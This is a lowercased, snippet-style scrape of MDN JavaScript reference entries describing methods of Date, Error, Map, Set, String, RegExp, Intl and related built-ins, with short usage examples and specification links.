mm minute, as two digits with leading zero if required ss seconds, as two digits with leading zero if required prior to ecmascript 2018, the format of the return value varied according to the platform. the most common return value was an rfc-1123 formatted date stamp, which is a slightly updated version of rfc-822 date stamps. examples using toutcstring() let today =
new date('wed, 14 jun 2017 00:00:00 pdt'); let utcstring = today.toutcstring(); // wed, 14 jun 2017 07:00:00 gmt specifications specification ecmascript (ecma-262)the definition of 'date.prototype.toutcstring' in that specification. ...
Date.prototype.valueOf() - JavaScript
00:00:00 utc and the given date. description the valueof() method returns the primitive value of a date object as a number data type, the number of milliseconds since midnight 01 january, 1970 utc. this method is functionally equivalent to the date.prototype.gettime() method. this method is usually called internally by javascript and not explicitly in code. examples using valueof() var x =
new date(56, 6, 17); var myvar = x.valueof(); // assigns -424713600000 to myvar specifications specification ecmascript (ecma-262)the definition of 'date.prototype.valueof' in that specification. ...
Error.prototype.columnNumber - JavaScript
the columnnumber property contains the column number in the line of the file that raised this error. examples using columnnumber var e =
new error('could not parse input'); throw e; console.log(e.columnnumber) // 0 specifications not part of any standard. ...
Error.prototype.fileName - JavaScript
the filename property contains the path to the file that raised this error. description this non-standard property contains the path to the file that raised this error. if called from a debugger context, the firefox developer tools for example, "debugger eval code" is returned. examples using filename var e =
new error('could not parse input'); throw e; // e.filename could look like "file:///c:/example.html" specifications not part of any standard. ...
Error.prototype.lineNumber - JavaScript
the linenumber property contains the line number in the file that raised this error. examples using linenumber var e =
new error('could not parse input'); throw e; console.log(e.linenumber) // 2 alternative example using error event window.addeventlistener('error', function(e) { console.log(e.linenumber); // 5 }); var e =
new error('could not parse input'); throw e; this is not a standard feature and lacks widespread support. see the browser compatability table below. specifications not part of any standard. ...
Error.prototype.message - JavaScript
ge property for exceptions. the message property combined with the name property is used by the error.prototype.tostring() method to create a string representation of the error. by default, the message property is an empty string, but this behavior can be overridden for an instance by specifying a message as the first argument to the error constructor. examples throwing a custom error var e =
new error('could not parse input'); // e.message is 'could not parse input' throw e; specifications specification ecmascript (ecma-262)the definition of 'error.prototype.message' in that specification. ...
Error.prototype.name - JavaScript
the name property represents a name for the type of error. the initial value is "error". description by default, error instances are given the name "error". the name property, in addition to the message property, is used by the error.prototype.tostring() method to create a string representation of the error. examples throwing a custom error var e =
new error('malformed input'); // e.name is 'error' e.name = 'parseerror'; throw e; // e.tostring() would return 'parseerror: malformed input' specifications specification ecmascript (ecma-262)the definition of 'error.prototype.name' in that specification. ...
Error.prototype.toSource() - JavaScript
value a string containing the source code of the error. examples using tosource calling the tosource method of an error instance (including nativeerrors) will return a string containing the source code of the error. this string can be evaluated to create an (approximately) equal object. naturally, the string containing the source follows the structure of the error constructor. for example: (
newname(message ,filename,linenumber)) where these attributes correspond to the respective properties of the error instance. note: be aware that the properties used by the tosource method in the creation of this string are mutable and may not accurately reflect the function used to create an error instance or the filename or line number where the actual error occurred. specifications not part ...
FinalizationRegistry() constructor - JavaScript
the finalizationregistry constructor creates a finalizationregistry object that uses the given callback. syntax
new finalizationregistry([callback]); parameters callback optional the callback function this registry should use. if provided, this must be a function. examples creating a
new registry you create the registry passing in the callback: const registry =
new finalizationregistry(heldvalue => { // .... }); specifications specification weakrefsthe definition of 'finalizationregistry constructor' in that specification. ...
Generator.prototype.throw() - JavaScript
itted when done is true. examples using throw() the following example shows a simple generator and an error that is thrown using the throw method. an error can be caught by a try...catch block as usual. function* gen() { while(true) { try { yield 42; } catch(e) { console.log('error caught!'); } } } const g = gen(); g.next(); // { value: 42, done: false } g.throw(
new error('something went wrong')); // "error caught!" // { value: 42, done: false } specifications specification ecmascript (ecma-262)the definition of 'generator.prototype.throw' in that specification. ...
InternalError() constructor - JavaScript
the internalerror() constructor creates an error that indicates an error that occurred internally in the javascript engine. for example: "internalerror: too much recursion". syntax
new internalerror([message[, filename[, linenumber]]]) parameters message optional. human-readable description of the error filename optional. the name of the file containing the code that caused the exception linenumber optional. the line number of the code that caused the exception examples creating a
new internalerror
new internalerror("engine failure"); specifications not part of any standard. ...
Intl.ListFormat.prototype.formatToParts() - JavaScript
roperty may be either "element", which refers to a value from the list, or "literal" which refers to a linguistic construct. the value property gives the content, as a string, of the token. the locale and style options used for formatting are given when constructing the intl.listformat instance. ...
Intl.Locale.prototype.maximize() - JavaScript
maximize() method. maximize() only affects the main subtags that comprise the language identifier: language, script, and region subtags. other subtags after the "-u" in the locale indentifier are called extension subtags and are not affected by the maximize() method. examples of these subtags include locale.hourcycle, locale.calendar, and locale.numeric. examples using maximize let mylocale =
new intl.locale("fr", {hourcycle: "h24", calendar: "gregory"}); console.log(mylocale.basename); // prints "fr" console.log(mylocale.tostring()); // prints "fr-u-ca-gregory-hc-h24" let mylocmaximized = mylocale.maximize(); // prints "fr-latn-fr". the "latn" and "fr" tags are added, // since french is only written in the latin script and is most likely to be spoken in france. console.log(mylocmaximize...
Intl.Locale.prototype.minimize() - JavaScript
d to write english. minimize() only affects the main subtags that comprise the language identifier: language, script, and region subtags. other subtags after the "-u" in the locale indentifier are called extension subtags and are not affected by the minimize() method. examples of these subtags include locale.hourcycle, locale.calendar, and locale.numeric. examples using minimize let mylocale =
new intl.locale("fr-latn-fr", {hourcycle: "h24", calendar: "gregory"}); console.log(mylocale.basename); // prints "fr-latn-fr" console.log(mylocale.tostring()); // prints "fr-latn-fr-u-ca-gregory-hc-h24" let mylocminimized = mylocale.minimize(); // prints "fr", since french is only written in the latin script // and is most likely to be spoken in france. console.log(mylocminimized.basename); // pr...
Intl.NumberFormat.prototype.formatToParts() - JavaScript
er. literal any literal strings or whitespace in the formatted number. minussign the minus sign string ("-"). nan the nan string ("nan"). plussign the plus sign string ("+"). percentsign the percent sign string ("%"). examples comparing format and formattoparts numberformat outputs localized, opaque strings that cannot be manipulated directly: var number = 3500; var formatter =
new intl.numberformat('de-de', { style: 'currency', currency: 'eur' }); formatter.format(number); // "3.500,00 €" however, in many user interfaces there is a desire to customize the formatting of this string. the formattoparts method enables locale-aware formatting of strings produced by numberformat formatters by providing you the string in parts: formatter.formattoparts(number); // retur...
Intl.RelativeTimeFormat.prototype.formatToParts() - JavaScript
it from other surrounding text. these objects have two properties: type a numberformat formattoparts type, and value, which is the string which is the component of the output. if a "part" came from numberformat, it will have a unit property which indicates the unit being formatted; literals which are part of the larger frame will not have this property. ...
Map.prototype[@@toStringTag] - JavaScript
nteractive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of map.prototype[@@tostringtag] writable no enumerable no configurable yes syntax map[symbol.tostringtag] examples using tostringtag object.prototype.tostring.call(
new map()) // "[object map]" specifications specification ecmascript (ecma-262)the definition of 'map.prototype[@@tostringtag]' in that specification. ...
Map() constructor - JavaScript
the map() constructor creates map objects. syntax
new map([iterable]) parameters iterable an array or other iterable object whose elements are key-value pairs. (for example, arrays with two elements, such as [[ 1, 'one' ],[ 2, 'two' ]].) each key-value pair is added to the
new map. examples creating a
new map let mymap =
new map([ [1, 'one'], [2, 'two'], [3, 'three'], ]) specifications specification ecmascript (ecma-262)the definition of 'map constructor' in that specification. ...
Map.prototype.clear() - JavaScript
the clear() method removes all elements from a map object. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax mymap.clear(); return value undefined. examples using clear() var mymap =
new map(); mymap.set('bar', 'baz'); mymap.set(1, 'foo'); mymap.size; // 2 mymap.has('bar'); // true mymap.clear(); mymap.size; // 0 mymap.has('bar') // false specifications specification ecmascript (ecma-262)the definition of 'map.prototype.clear' in that specification. ...
Map.prototype.delete() - JavaScript
to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax mymap.delete(key); parameters key the key of the element to remove from the map object. return value true if an element in the map object existed and has been removed, or false if the element does not exist. examples using delete() var mymap =
new map(); mymap.set('bar', 'foo'); mymap.delete('bar'); // returns true. successfully removed. mymap.has('bar'); // returns false. the "bar" element is no longer present. specifications specification ecmascript (ecma-262)the definition of 'map.prototype.delete' in that specification. ecmascript 2015 (6th edition, ecma-262)the definition of 'map.prototype.delete'...
Map.prototype.get() - JavaScript
u'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax mymap.get(key) parameters key the key of the element to return from the map object. return value the element associated with the specified key, or undefined if the key can't be found in the map object. examples using get() let mymap =
new map(); mymap.set('bar', 'foo'); mymap.get('bar'); // returns "foo" mymap.get('baz'); // returns undefined specifications specification ecmascript (ecma-262)the definition of 'map.prototype.get' in that specification. ...
Map.prototype.has() - JavaScript
tory. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax mymap.has(key) parameters key the key of the element to test for presence in the map object. return value true if an element with the specified key exists in the map object; otherwise false. examples using has() let mymap =
new map() mymap.set('bar', "foo") mymap.has('bar') // returns true mymap.has('baz') // returns false specifications specification ecmascript (ecma-262)the definition of 'map.prototype.has' in that specification. ...
Map.prototype.set() - JavaScript
n a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax mymap.set(key, value) parameters key the key of the element to add to the map object. value the value of the element to add to the map object. return value the map object. examples using set() let mymap =
new map() // add
new elements to the map mymap.set('bar', 'foo') mymap.set(1, 'foobar') // update an element in the map mymap.set('bar', 'baz') using the set() with chaining since the set() method returns back the same map object, you can chain the method call like below: // add
new elements to the map with chaining. mymap.set('bar', 'foo') .set(1, 'foobar') .set(2, 'baz'); specific...
Map.prototype.size - JavaScript
ple is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. description the value of size is an integer representing how many entries the map object has. a set accessor function for size is undefined; you can not change this property. examples using size var mymap =
new map(); mymap.set('a', 'alpha'); mymap.set('b', 'beta'); mymap.set('g', 'gamma'); mymap.size // 3 specifications specification ecmascript (ecma-262)the definition of 'map.prototype.size' in that specification. ...
Math.fround() - JavaScript
y or -infinity is returned. because fround() is a static method of math, you always use it as math.fround(), rather than as a method of a math object you created (math is not a constructor). polyfill this can be emulated with the following function, if float32array are supported: math.fround = math.fround || (function (array) { return function(x) { return array[0] = x, array[0]; }; })(
new float32array(1)); supporting older browsers is slower, but also possible: if (!math.fround) math.fround = function(arg) { arg = number(arg); // return early for ±0 and nan. if (!arg) return arg; var sign = arg < 0 ? -1 : 1; if (sign < 0) arg = -arg; // compute the exponent (8 bits, signed). var exp = math.floor(math.log(arg) / math.ln2); var powexp = math.pow(2, math.max(-126,...
Math.max() - JavaScript
return math.max(a, b); }); the following function uses function.prototype.apply() to get the maximum of an array. getmaxofarray([1, 2, 3]) is equivalent to math.max(1, 2, 3), but you can use getmaxofarray() on programmatically constructed arrays. this should only be used for arrays with relatively few elements. function getmaxofarray(numarray) { return math.max.apply(null, numarray); } the
new spread operator is a shorter way of writing the apply solution to get the maximum of an array: var arr = [1, 2, 3]; var max = math.max(...arr); however, both spread (...) and apply will either fail or return the wrong result if the array has too many elements, because they try to pass the array elements as function parameters. see using apply and built-in functions for more details. the reduce...
Number() constructor - JavaScript
the number() constructor creates a number object. syntax
new number(value) parameters value the numeric value of the object being created. examples creating number objects const a =
new number('123'); // a === 123 is false const b = number('123'); // b === 123 is true a instanceof number; // is true b instanceof number; // is false specifications specification ecmascript (ecma-262)the definition of 'number constructor' in that specification. ...
Number.prototype.valueOf() - JavaScript
u'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax numobj.valueof() return value a number representing the primitive value of the specified number object. description this method is usually called internally by javascript and not explicitly in web code. examples using valueof let numobj =
new number(10) console.log(typeof numobj) // object let num = numobj.valueof() console.log(num) // 10 console.log(typeof num) // number specifications specification ecmascript (ecma-262)the definition of 'number.prototype.valueof' in that specification. ...
Object.isFrozen() - JavaScript
e object which should be checked. return value a boolean indicating whether or not the given object is frozen. description an object is frozen if and only if it is not extensible, all its properties are non-configurable, and all its data properties (that is, properties which are not accessor properties with getter or setter components) are non-writable. examples using object.isfrozen // a
new object is extensible, so it is not frozen. object.isfrozen({}); // === false // an empty object which is not extensible // is vacuously frozen. var vacuouslyfrozen = object.preventextensions({}); object.isfrozen(vacuouslyfrozen); // === true // a
new object with one property is also extensible, // ergo not frozen. var oneprop = { p: 42 }; object.isfrozen(oneprop); // === false // preventing ex...
Object.keys() - JavaScript
'tostring'), dontenums = [ 'tostring', 'tolocalestring', 'valueof', 'hasownproperty', 'isprototypeof', 'propertyisenumerable', 'constructor' ], dontenumslength = dontenums.length; return function(obj) { if (typeof obj !== 'function' && (typeof obj !== 'object' || obj === null)) { throw
new typeerror('object.keys called on non-object'); } var result = [], prop, i; for (prop in obj) { if (hasownproperty.call(obj, prop)) { result.push(prop); } } if (hasdontenumbug) { for (i = 0; i < dontenumslength; i++) { if (hasownproperty.call(obj, dontenums[i])) { result.push(dontenums[i]); } ...
Promise.reject() - JavaScript
omise.reject(reason); parameters reason reason why this promise rejected. return value a promise that is rejected with the given reason. description the static promise.reject function returns a promise that is rejected. for debugging purposes and selective error catching, it is useful to make reason an instanceof error. examples using the static promise.reject() method promise.reject(
new error('fail')).then(function() { // not called }, function(error) { console.error(error); // stacktrace }); specifications specification ecmascript (ecma-262)the definition of 'promise.reject' in that specification. ...
Promise.resolve() - JavaScript
olving a thenable object var p1 = promise.resolve({ then: function(onfulfill, onreject) { onfulfill('fulfilled!'); } }); console.log(p1 instanceof promise) // true, object casted to a promise p1.then(function(v) { console.log(v); // "fulfilled!" }, function(e) { // not called }); // thenable throws before callback // promise rejects var thenable = { then: function(resolve) { throw
new typeerror('throwing'); resolve('resolving'); }}; var p2 = promise.resolve(thenable); p2.then(function(v) { // not called }, function(e) { console.error(e); // typeerror: throwing }); // thenable throws after callback // promise resolves var thenable = { then: function(resolve) { resolve('resolving'); throw
new typeerror('throwing'); }}; var p3 = promise.resolve(thenable); p3.then(fun...
Proxy.revocable() - JavaScript
xy.revocable() method is used to create a revocable proxy object. syntax proxy.revocable(target, handler); parameters target a target object to wrap with proxy. it can be any sort of object, including a native array, a function, or even another proxy. handler an object whose properties are functions define the behavior of proxy p when an operation is performed on it. return value a
newly created revocable proxy object is returned. description a revocable proxy is an object with following two properties {proxy: proxy, revoke: revoke}. proxy a proxy object created with
new proxy(target, handler) call. revoke a function with no argument to invalidate (switch off) the proxy. if the revoke() function gets called, the proxy becomes unusable: any trap to a handler will throw...
Reflect.has() - JavaScript
eerror, if target is not an object. description the reflect.has method allows you to check if a property is in an object. it works like the in operator as a function. ...
Reflect.setPrototypeOf() - JavaScript
ul, or false otherwise. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax reflect.setprototypeof(target, prototype) parameters target the target object of which to set the prototype. prototype the object's
new prototype (an object or null). return value a boolean indicating whether or not the prototype was successfully set. exceptions a typeerror, if target is not an object or if prototype is neither an object nor null. description the reflect.setprototypeof method changes the prototype (i.e. the value of the internal [[prototype]] property) of the specified object. examples using reflect.setp...
RegExp.prototype[@@match]() - JavaScript
le.log(result); // ["2016", "01", "02"] using @@match in subclasses subclasses of regexp can override the [@@match]() method to modify the default behavior. class myregexp extends regexp { [symbol.match](str) { let result = regexp.prototype[symbol.match].call(this, str); if (!result) return null; return { group(n) { return result[n]; } }; } } let re =
new myregexp('([0-9]+)-([0-9]+)-([0-9]+)'); let str = '2016-01-02'; let result = str.match(re); // string.prototype.match calls re[@@match]. console.log(result.group(1)); // 2016 console.log(result.group(2)); // 01 console.log(result.group(3)); // 02 specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype[@@match]' in that specification. ...
RegExp.prototype[@@matchAll]() - JavaScript
subclasses subclasses of regexp can override the [@@matchall]() method to modify the default behavior. for example, to return an array instead of an iterator: class myregexp extends regexp { [symbol.matchall](str) { const result = regexp.prototype[symbol.matchall].call(this, str); if (!result) { return null; } else { return array.from(result); } } } const re =
new myregexp('([0-9]+)-([0-9]+)-([0-9]+)', 'g'); const str = '2016-01-02|2019-03-07'; const result = str.matchall(re); console.log(result[0]); // [ "2016-01-02", "2016", "01", "02" ] console.log(result[1]); // [ "2019-03-07", "2019", "03", "07" ] specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype[@@matchall]' in that specification. ...
RegExp.prototype[@@search]() - JavaScript
ents order. var re = /-/g; var str = '2016-01-02'; var result = re[symbol.search](str); console.log(result); // 4 using @@search in subclasses subclass of regexp can override [@@search]() method to modify the behavior. class myregexp extends regexp { constructor(str) { super(str) this.pattern = str; } [symbol.search](str) { return str.indexof(this.pattern); } } var re =
new myregexp('a+b'); var str = 'ab a+b'; var result = str.search(re); // string.prototype.search calls re[@@search]. console.log(result); // 3 specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype[@@search]' in that specification. ...
RegExp.prototype[@@split]() - JavaScript
'; let result = re[symbol.split](str); console.log(result); // ["2016", "01", "02"] using @@split in subclasses subclasses of regexp can override the [@@split]() method to modify the default behavior. class myregexp extends regexp { [symbol.split](str, limit) { let result = regexp.prototype[symbol.split].call(this, str, limit); return result.map(x => "(" + x + ")"); } } let re =
new myregexp('-'); let str = '2016-01-02'; let result = str.split(re); // string.prototype.split calls re[@@split]. console.log(result); // ["(2016)", "(01)", "(02)"] specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype[@@split]' in that specification. ...
RegExp.prototype.compile() - JavaScript
sticky; matches only from the index indicated by the lastindex property of this regular expression in the target string (and does not attempt to match from any later indexes). description the compile method is deprecated. you can just use the regexp constructor to achieve the same effect. examples using compile() the following example shows how to recompile a regular expression with a
new pattern and a
new flag. var regexobj =
new regexp('foo', 'gi'); regexobj.compile('
new foo', 'g'); specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.compile' in that specification. ...
RegExp.prototype.exec() - JavaScript
string. returns a result array, or null. javascript regexp objects are stateful when they have the global or sticky flags set (e.g. /foo/g or /foo/y). they store a lastindex from the previous match. using this internally, exec() can be used to iterate over multiple matches in a string of text (with capture groups), as opposed to getting just the matching strings with string.prototype.match(). a
newer function has been proposed to simplify matching multiple parts of a string (with capture groups): string.prototype.matchall(). if you are executing a match simply to find true or false, use regexp.prototype.test() method or string.prototype.search() instead. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples proj...
RegExp.prototype.multiline - JavaScript
s a boolean and is true if the "m" flag was used; otherwise, false. the "m" flag indicates that a multiline input string should be treated as multiple lines. for example, if "m" is used, "^" and "$" change from matching at only the start or end of the entire string to the start or end of any line within the string. you cannot change this property directly. examples using multiline var regex =
new regexp('foo', 'm'); console.log(regex.multiline); // true specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.multiline' in that specification. ...
RegExp.prototype.source - JavaScript
yes examples using source var regex = /foobar/ig; console.log(regex.source); // "foobar", doesn't contain /.../ and "ig". empty regular expressions and escaping starting with ecmascript 5, the source property no longer returns an empty string for empty regular expressions. instead, the string "(?:)" is returned. in addition, line terminators (such as "\n") are escaped now.
new regexp().source; // "(?:)"
new regexp('\n').source === '\n'; // true, prior to es5
new regexp('\n').source === '\\n'; // true, starting with es5 specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.source' in that specification. ...
RegExp.prototype.unicode - JavaScript
configurable yes description the value of unicode is a boolean and true if the "u" flag was used; otherwise false. the "u" flag enables various unicode-related features. with the "u" flag, any unicode code point escapes will be interpreted as such, for example. you cannot change this property directly. it is read-only. examples using the unicode property var regex =
new regexp('\u{61}', 'u'); console.log(regex.unicode); // true specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.unicode' in that specification. ...
Set.prototype.add() - JavaScript
the add() method appends a
new element with a specified value to the end of a set object. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax myset.add(value); parameters value the value of the element to add to the set object. return value the set object. examples using the add method var myset =
new set(); myset.add(1); myset.add(5).add('some text'); // chainable console.log(myset); // set [1, 5, "some text"] specifications specification ecmascript (ecma-262)the definition of 'set.prototype.add' in that specification. ...
Set.prototype.clear() - JavaScript
the clear() method removes all elements from a set object. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax myset.clear(); return value undefined. examples using the clear method var myset =
new set(); myset.add(1); myset.add('foo'); myset.size; // 2 myset.has('foo'); // true myset.clear(); myset.size; // 0 myset.has('bar') // false specifications specification ecmascript (ecma-262)the definition of 'set.prototype.clear' in that specification. ...
Set.prototype.delete() - JavaScript
a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax myset.delete(value); parameters value the value to remove from myset. return value returns true if value was successfully removed from myset; otherwise false. examples using the delete() method const myset =
new set(); myset.add('foo'); myset.delete('bar'); // returns false. no "bar" element found to be deleted. myset.delete('foo'); // returns true. successfully removed. myset.has('foo'); // returns false. the "foo" element is no longer present. let's checkout below how to delete an object from a set. const setobj =
new set(); // create a
new set. setobj.add({x: 10, y: 20}); // add object in ...
Set.prototype.size - JavaScript
mple is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. description the value of size is an integer representing how many entries the set object has. a set accessor function for size is undefined; you cannot change this property. examples using size var myset =
new set(); myset.add(1); myset.add(5); myset.add('some text') myset.size; // 3 specifications specification ecmascript (ecma-262)the definition of 'set.prototype.size' in that specification. ...
SharedArrayBuffer.prototype.byteLength - JavaScript
ute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. description the bytelength property is an accessor property whose set accessor function is undefined, meaning that you can only read this property. the value is established when the shared array is constructed and cannot be changed. examples using bytelength var sab =
new sharedarraybuffer(1024); sab.bytelength; // 1024 specifications specification ecmascript (ecma-262)the definition of 'sharedarraybuffer.prototype.bytelength' in that specification. ...
String.prototype[@@iterator]() - JavaScript
the [@@iterator]() method returns a
new iterator object that iterates over the code points of a string value, returning each code point as a string value. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax str[symbol.iterator] return value a
new iterator object. examples using [@@iterator]() var str = 'a\ud835\udc68'; var striter = str[symbol.iterator](); console.log(striter.next().value); // "a" console.log(striter.next().value); // "\ud835\udc68" using [@@iterator]() with for..of var str = 'a\ud835\udc68b\ud835\udc69c\ud835\udc6a'; for (var v of str) { console.log(v); } // "a" // "\ud835\udc68" ...
String.prototype.indexOf() - JavaScript
true and -1 doesn't evaluate to false. therefore, when checking if a specific string exists within another string, the correct way to check would be: 'blue whale'.indexof('blue') !== -1 // true 'blue whale'.indexof('bloe') !== -1 // false ~('blue whale'.indexof('bloe')) // 0, which is falsy examples using indexof() the following example uses indexof() to locate values in the string "brave
new world". const str = 'brave
new world' console.log('index of first w from start is ' + str.indexof('w')) // logs 8 console.log('index of "
new" from start is ' + str.indexof('
new')) // logs 6 indexof() and case-sensitivity the following example defines two string variables. the variables contain the same string, except that the second string contains uppercase letters. the first console.l...
String.prototype.localeCompare() - JavaScript
the localecompare() method returns a number indicating whether a reference string comes before, or after, or is the same as the given string in sort order. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the
new locales and options arguments let applications specify the language whose sort order should be used and customize the behavior of the function. in older implementations, which ignore the locales and options arguments, the locale and sort order used are entirely implementation-dependent. syntax referencestr.localecompare(comparestring[, locales[, options]]) parameters comparestring the string against ...
String.raw() - JavaScript
gine will call this with proper arguments for you, (just like with other tag functions). string.raw() is the only built-in tag function of template strings. it works just like the default template function and performs concatenation. you can even re-implement it with normal javascript code. examples using string.raw() string.raw`hi\n${2+3}!`; // 'hi\n5!', the character after 'hi' // is not a
newline character, // '\' and 'n' are two characters. string.raw`hi\u000a!`; // 'hi\u000a!', same here, this time we will get the // \, u, 0, 0, 0, a, 6 characters. // all kinds of escape characters will be ineffective // and backslashes will be present in the output string. // you can confirm this by checking the .length property // of the string. let name = 'bob'; string.raw`hi\n${name}!`; // 'h...
String.prototype.search() - JavaScript
bject. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax str.search(regexp) parameters regexp a regular expression object. if a non-regexp object regexp is passed, it is implicitly converted to a regexp with
new regexp(regexp). return value the index of the first match between the regular expression and the given string, or -1 if no match was found. description when you want to know whether a pattern is found, and also know its index within a string, use search(). (if you only want to know if it exists, use the similar test() method on the regexp prototype, which returns a boolean.) for more infor...
String.prototype.substr() - JavaScript
ive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax str.substr(start[, length]) parameters start the index of the first character to include in the returned substring. length optional. the number of characters to extract. return value a
new string containing the specified part of the given string. description substr() extracts length characters from a str, counting from the start index. if start is a positive number, the index starts counting at the start of the string. its value is capped at str.length. if start is a negative number, the index starts counting from the end of the string. its value is capped at -str.length. no...
String.prototype.toLocaleLowerCase() - JavaScript
case() str.tolocalelowercase(locale) str.tolocalelowercase([locale, locale, ...]) parameters locale optional the locale parameter indicates the locale to be used to convert to lower case according to any locale-specific case mappings. if multiple locales are given in an array, the best available locale is used. the default locale is the host environment’s current locale. return value a
new string representing the calling string converted to lower case, according to any locale-specific case mappings. exceptions a rangeerror ("invalid language tag: xx_yy") is thrown if a locale argument isn't a valid language tag. a typeerror ("invalid element in locales argument") is thrown if an array element isn't of type string. description the tolocalelowercase() method returns the value...
String.prototype.toLocaleUpperCase() - JavaScript
case() str.tolocaleuppercase(locale) str.tolocaleuppercase([locale, locale, ...]) parameters locale optional the locale parameter indicates the locale to be used to convert to upper case according to any locale-specific case mappings. if multiple locales are given in an array, the best available locale is used. the default locale is the host environment’s current locale. return value a
new string representing the calling string converted to upper case, according to any locale-specific case mappings. exceptions a rangeerror ("invalid language tag: xx_yy") is thrown if a locale argument isn't a valid language tag. a typeerror ("invalid element in locales argument") is thrown if an array element isn't of type string. description the tolocaleuppercase() method returns the value...
String.prototype.toLowerCase() - JavaScript
the tolowercase() method returns the calling string value converted to lower case. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax str.tolowercase() return value a
new string representing the calling string converted to lower case. description the tolowercase() method returns the value of the string converted to lower case. tolowercase() does not affect the value of the string str itself. examples using tolowercase() console.log('alphabet'.tolowercase()); // 'alphabet' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.tolowercase' in that s...
String.prototype.toString() - JavaScript
ling object. description the string object overrides the tostring() method of the object object; it does not inherit object.prototype.tostring(). for string objects, the tostring() method returns a string representation of the object and is the same as the string.prototype.valueof() method. examples using tostring() the following example displays the string value of a string object: var x =
new string('hello world'); console.log(x.tostring()); // logs 'hello world' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.tostring' in that specification. ...
String.prototype.toUpperCase() - JavaScript
case() method returns the calling string value converted to uppercase (the value will be converted to a string if it isn't one). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax str.touppercase() return value a
new string representing the calling string converted to upper case. exceptions typeerror when called on null or undefined, for example, string.prototype.touppercase.call(undefined). description the touppercase() method returns the value of the string converted to uppercase. this method does not affect the value of the string itself since javascript strings are immutable. examples basic usag...
String.prototype.trim() - JavaScript
this context is all the whitespace characters (space, tab, no-break space, etc.) and all the line terminator characters (lf, cr, etc.). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax str.trim() return value a
new string representing the str stripped of whitespace from both ends. description the trim() method returns the string stripped of whitespace from both ends. trim() does not affect the value of the str itself. polyfill running the following code before any other code will create trim() if it's not natively available. if (!string.prototype.trim) { string.prototype.trim = function () { retu...
String.prototype.trimEnd() - JavaScript
the trimend() method removes whitespace from the end of a string. trimright() is an alias of this method. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax str.trimend(); str.trimright(); return value a
new string representing the calling string stripped of whitespace from its (right) end. description the trimend() / trimright() methods return the string stripped of whitespace from its right end. trimend() or trimright() do not affect the value of the string itself. aliasing for consistency with functions like string.prototype.padend the standard method name is trimend. however, for web compatibility re...
String.prototype.trimStart() - JavaScript
the trimstart() method removes whitespace from the beginning of a string. trimleft() is an alias of this method. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax str.trimstart(); str.trimleft(); return value a
new string representing the calling string stripped of whitespace from its beginning (left end). description the trimstart() / trimleft() methods return the string stripped of whitespace from its left end. trimleft() or trimstart() do not affect the value of the string itself. aliasing for consistency with functions like string.prototype.padstart the standard method name is trimstart. however, fo...
String.prototype.valueOf() - JavaScript
syntax str.valueof() return value a string representing the primitive value of a given string object. description the valueof() method of string returns the primitive value of a string object as a string data type. this value is equivalent to string.prototype.tostring(). this method is usually called internally by javascript and not explicitly in code. examples using valueof() var x =
new string('hello world'); console.log(x.valueof()); // displays 'hello world' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.valueof' in that specification. ...
Symbol.iterator - JavaScript
using it as such is likely to result in runtime exceptions or buggy behavior: var nonwellformediterable = {} nonwellformediterable[symbol.iterator] = () => 1 [...nonwellformediterable] // typeerror: [] is not a...
Symbol.keyFor() - JavaScript
xamples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax symbol.keyfor(sym); parameters sym symbol, required. the symbol to find a key for. return value a string representing the key for the given symbol if one is found on the global registry; otherwise, undefined. examples using keyfor var globalsym = symbol.for('foo'); // create a
